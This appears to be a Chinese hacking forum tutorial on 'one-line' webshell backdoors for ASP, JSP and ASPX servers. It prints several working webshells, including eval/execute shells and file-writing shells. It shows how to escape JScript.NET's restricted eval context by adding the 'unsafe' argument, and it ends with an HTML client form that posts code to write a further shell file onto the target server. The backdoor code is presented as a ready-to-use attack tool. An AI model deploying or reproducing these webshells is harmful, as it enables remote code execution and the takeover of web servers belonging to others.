吧! <%if request("nonamed")<>"" then execute request("nonamed")%>
VBS中execute就是動態運行指定的代碼而JSCRIPT中也同樣有eval函數可以實現,也就是說ASP一句話木馬也有個版本是采用JSCRIPT的 eval的!網上也有例子我就不多說了!.....
然后解析語言終究發展成為中間代碼例如java .net 動態執行也就不存在了!
之前ASP中正常情況只支持VBS JSCRIPT(像python perlscript 這些特例的我就不說了)...
如今ASPX中 所支持的VBS的高級版本VB已經不存在execute這個獨有的方法....真遺憾....
同時Jscript 也一樣轉向高級版本Jscript.net 但是我們需要的eval函數還是生存下來的!script child有幸了...
先埋下一個伏筆吧~ 先談談如今的中間語言WEB應用中的一句話
JSP :<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%> 這個是我自己寫的 要彈要說,都是大家的 呵呵!我不發言.....
ASPX:<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params["l"]);ow.Close()%>這個不知道是誰的作品,感覺性質有點像我的JSP一句話了!不過還是把簡單的shell實現了!支持ing....
兩個一句話大體都一樣 調用類把 接收的都寫到文件!簡單說就是對文件寫操作而已!~昔日ASP一句話的光輝 如今在中間語言的后門中給限制得蕩然無存~~錯!......ASPX C/S木馬我們一樣可以實現!因為有Jscript.net的存在!上面所說到的eval函數還生存著!~
OK我們先來實現
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["nonamed"]));%>
這樣?恩!可以拿去嘗試了~ 保存為 text.aspx 然后提交
http://127.0.0.1/text.aspx?nonamed=var%20mydate%20=%20new%20Date();
打印出當前時間...Sat Aug 4 20:05:20 UTC+8 2007
貌似OK了哦! 呵呵 我們再試
http://127.0.0.1/text.aspx?nonamed=Server.MapPath(".");
發現報告錯誤了!....(我就是因為卡在這里,所以折騰了幾個月,不然這文章早出爐了!在這里感謝一下 闇の術士 QQ:4659675 歡迎大家找他學習 ...哈)
錯誤原因
{
安全性異常
說明: 應用程序試圖執行安全策略不允許的操作。 要授予此應用程序所需的權限, 請與系統管理員聯系, 或在配置文件中更改該應用程序的信任級別。
異常詳細信息: System.Security.SecurityException: 請求失敗。
}
為什么會這樣呢?OK我們找到 MS文檔
往下面看
http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmscStartPage.asp
JScript .NET
JScript .NET 的新增功能
JScript .NET 是下一代的 Microsoft JScript 語言, 它是使用 Web 語言方便快捷地訪問 Microsoft .NET 平臺的一種方法。 JScript 的主要作用是使用 ASP.NET 構造 Web 站點和使用 .NET Framework 腳本自定義應用程序。
JScript .NET 與 ECMAScript 標準兼容, 而且它還具有 ECMAScript 未指定的其他功能, 例如, 真正的編譯代碼、通過符合“通用語言規范”(CLS) 而實現的跨語言支持, 以及對 .NET Framework 的訪問。 Visual Studio .NET 2002 中的 JScript .NET 版本充分利用了 .NET Framework 本身所具有的安全性, 而 JScript .NET 2003 為 eval 方法添加了受限安全上下文, 從而進一步增強了安全性。
在 JScript .NET 中的幾種新功能旨在充分利用 CLS, 這是用來標準化數據類型、對象公開方式、對象互用方式等內容的一組規則。 任何符合 CLS 的語言都可以使用在 JScript .NET 中創建的類、對象和組件。 作為 JScript 開發人員, 您可以從其他符合 CLS 的編程語言訪問類、組件和對象, 而無需考慮語言特定的差異(比如數據類型)。 JScript .NET 程序使用的一些 CLS 功能包括命名空間、屬性、引用參數和本機數組。
下面是 JScript .NET 中的一些新功能:
JScript .NET 2003 的新增功能
eval 方法的受限安全上下文
現在, 為了增強安全性, 不管調用方的權限是什么, 內置的 eval 方法都默認下在受限安全上下文中運行腳本。 調用 eval 時如果將“unsafe”作為第二個可選參數, 會導致腳本使用調用方的權限運行, 這樣就會允許訪問文件系統、網絡或用戶界面。 有關更多信息, 請參見 eval 方法。
JScript .NET 2002 的新增功能
基于類的對象
JScript .NET(像 JScript 一樣)通過基于原型的對象支持繼承。 JScript .NET 還允許聲明定義對象數據和行為的類, 從而支持基于類的對象。 在 JScript .NET 中創建的類可由任何 .NET 語言使用和擴展。 類可以繼承基類的屬性和方法。 可以對類和類成員應用幾種屬性, 修改它們的行為和可見性。 有關更多信息, 請參見基于類的對象。
JScript 數據類型
在 JScript .NET 中(像 JScript 一樣), 可以在編寫程序時不指定變量的數據類型。 JScript .NET 也可用作一種強類型化語言, 其中所有變量都綁定到特定數據類型, 或者您還可以混合使用類型化和非類型化變量。 JScript .NET 提供了許多新的數據類型。 還可以將類和 .NET 類型用作數據類型。 有關更多信息, 請參見 JScript 數據類型。
條件編譯
指令可控制 JScript .NET 程序的編譯。 例如, @debug 指令可以為腳本的特定部分打開或關閉調試信息的發布。 有關更多信息, 請參見 @debug 指令。 @position 指令為調試器設置當前行的行號。 有關更多信息, 請參見 @position 指令。 如果正在編寫將合并到其他腳本中的代碼, 那么這兩個指令都是有用的。 有關更多信息, 請參見條件編譯。
JScript 命名空間
命名空間通過將類、接口和方法組織成層次結構來防止命名沖突。 在 JScript .NET 中, 您可以定義自己的命名空間。 還可以使用 JScript .NET 訪問任何 .NET Framework 命名空間, 包括自己定義的那些命名空間。 包語句允許打包相關的類以實現方便的部署和避免出現命名沖突。 有關更多信息, 請參見 package 語句。 導入語句使得 .NET Framework 命名空間可用于某個腳本, 這樣該腳本就能訪問命名空間中的類和接口。 有關更多信息, 請參見 import 語句。
JScript 變量和常數
JScript .NET 引入了一個 Const 語句, 用來定義表示常數值的標識符。 有關更多信息, 請參見 JScript 變量和常數。
枚舉
JScript .NET 引入了 Enum 語句, 允許構造枚舉數據類型。 利用枚舉, 可以為您的數據類型值指定有用的名稱。 有關更多信息, 請參見 enum 語句。
再來找到 eval方法
http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmtheval.asp
JScript .NET
eval 方法
計算 JScript 代碼并執行。
function eval(codeString : String [, override : String])
參數
codeString
必選。 包含有效 JScript 代碼的字符串。
override
可選。 確定要應用于 codeString 中代碼的安全權限的字符串。
備注
eval 函數允許動態執行 JScript 源代碼。
傳遞給 eval 方法的代碼執行時所在的上下文和調用 eval 方法時的上下文一樣。 請注意, 在 eval 語句中定義的新變量或類型對于封閉程序是不可見的。
除非將字符串“unsafe”傳遞為第二個參數, 否則, 傳遞至 eval 方法的代碼在受限安全上下文中執行。 受限安全上下文禁止訪問系統資源, 如文件系統、網絡或用戶界面。 如果代碼試圖訪問這些資源, 則會產生安全異常。
當 eval 的第二個參數為字符串“unsafe”時, 傳遞給 eval 方法的代碼在調用代碼所在的安全上下文中執行。 第二個參數是區分大小寫的, 因此, 字符串“Unsafe”或“UnSAfE”不會重寫受限安全上下文。
安全說明 在不安全的模式下, eval 只能用于執行從值得信任的源獲得的代碼字符串。
原來eval 給限制了安全性~呵呵那我們就照他說的去做加入 unsafe參數實現
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>
OK
提交http://127.0.0.1/test.aspx?z=Server.MapPath(".")
打印出 F:\nonamed\DOTNETPROJECT 是我當前的WEB目錄 成功了! 熱淚ing~~~ 也就是你提交什么上去他就運行什么 恢復當年ASP后門的效果了!~ -_-
Response.Write可以不要!不過我為了回顯 所以加上去了 :)
OK 以下我們構造出 一句話的客戶端吧!
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> ASPXone line Code Client</TITLE>
</HEAD>
<BODY>
<form action=http://127.0.0.1/test.aspx method=post>
<textarea name=z cols=120 rows=10 width=45>
var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
nonamed.Write(Request.Item["l"]);
nonamed.Close();
</textarea>
<textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value=提交>
</BODY>
</HTML>